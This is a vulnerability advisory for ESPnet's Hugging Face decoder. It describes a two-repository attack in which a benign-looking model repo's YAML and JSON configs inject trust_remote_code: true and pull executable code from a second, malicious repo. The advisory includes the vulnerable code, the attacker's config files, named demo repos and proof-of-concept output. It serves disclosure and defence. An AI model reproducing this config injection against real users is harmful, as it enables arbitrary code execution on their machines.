Stealthy two-repository attack when loading Speech2Text model from HuggingFace
Description
ESPnet is vulnerable to a stealthy two-repository remote code execution attack through the HuggingFaceTransformersDecoder. The vulnerability arises because ESPnet allows loading additional model parameters from a configuration file (overriding_architecture_config) that is fully controlled by the model repository. These parameters are then directly forwarded to Hugging Face from_pretrained(...) APIs without validation.
An attacker can exploit this by creating a benign-looking frontend repository and referencing a malicious backend repository. The frontend repository contains a YAML configuration that points to a JSON file (e.g., bart_decoder_config.json), which injects trust_remote_code: true. This parameter is then passed into AutoModelForCausalLM.from_pretrained(...) or AutoModelForSeq2SeqLM.from_pretrained(...), enabling execution of arbitrary code from the backend repository.
This attack is particularly dangerous because the frontend repository appears benign and does not contain any obvious malicious code. The actual payload resides in the backend repository, making the attack difficult to detect and capable of bypassing existing security scanning mechanisms that focus only on the frontend model.
Root Cause
Here is the simplified example:
# https://github.com/espnet/espnet/blob/0ffefaabbea1fbc71bb66775947f259f31e19915/espnet2/asr/decoder/hugging_face_transformers_decoder.py#L126
class HuggingFaceTransformersDecoder(AbsDecoder, BatchScorerInterface):
@typechecked
def __init__(
self, #...
overriding_architecture_config: Optional[Union[str, dict]] = {},
load_pretrained_weights: bool = True,
separate_lm_head: bool = False,
):
self.overriding_architecture_config = overriding_architecture_config
if isinstance(overriding_architecture_config, str):
# It is path to a json config file
self.overriding_architecture_config = read_json_config(
overriding_architecture_config
)
try:
if self.causal_lm:
model = AutoModelForCausalLM.from_pretrained(
model_name_or_path, **self.overriding_architecture_config
)
self.decoder = get_hugging_face_model_network(model)
else:
model = AutoModelForSeq2SeqLM.from_pretrained(
model_name_or_path, **self.overriding_architecture_config
)
if hasattr(model, "model"):
self.decoder = model.model.decoder
else:
self.decoder = model.decoder
finally:
# Restore original torch.equal
torch.equal = original_equalAttackers can create a frontend model repository that contains the following configurations.
# meta.yaml
espnet: '202412'
files:
asr_model_file: exp/asr_train_mms_finetune_v2_raw_char/valid.loss.ave_2best.pth
python: 3.10.16 | packaged by conda-forge | (main, Dec 5 2024, 14:16:10) [GCC 13.3.0]
timestamp: 1739764267.951196
torch: 2.6.0+cu118
yaml_files:
asr_train_config: exp/asr_train_mms_finetune_v2_raw_char/config.yaml
# exp/asr_train_mms_finetune_v2_raw_char/config.yaml
model_conf:
ctc_weight: 0.5
decoder: hugging_face_transformers
decoder_conf:
model_name_or_path: XManFromXlab/espnet-Speech2Text-evil
overriding_architecture_config: bart_decoder_config.json
load_pretrained_weights: false
separate_lm_head: true
# bart_decoder_config.json
{
"trust_remote_code": true
}Because both model_name_or_path and overriding_architecture_config are controlled by the frontend repository, attackers can combine them to redirect loading to a malicious backend repository and enable remote code execution.
Proof of Concept
I created two model repositories on HuggingFace Hub for demonstration.
- frontend:
XManFromXlab/espnet-Speech2Text-benign - backend:
XManFromXlab/espnet-Speech2Text-evil
Victims may run code like the following:
from espnet2.bin.asr_inference import Speech2Text
model_id = "XManFromXlab/espnet-Speech2Text-benign"
Speech2Text.from_pretrained(model_id)In this case, it will print the warning messages:
$ python demo.py
Execute Malicious Payload!!!
Execute Malicious Payload!!!
Execute Malicious Payload!!!Source: espnet/espnet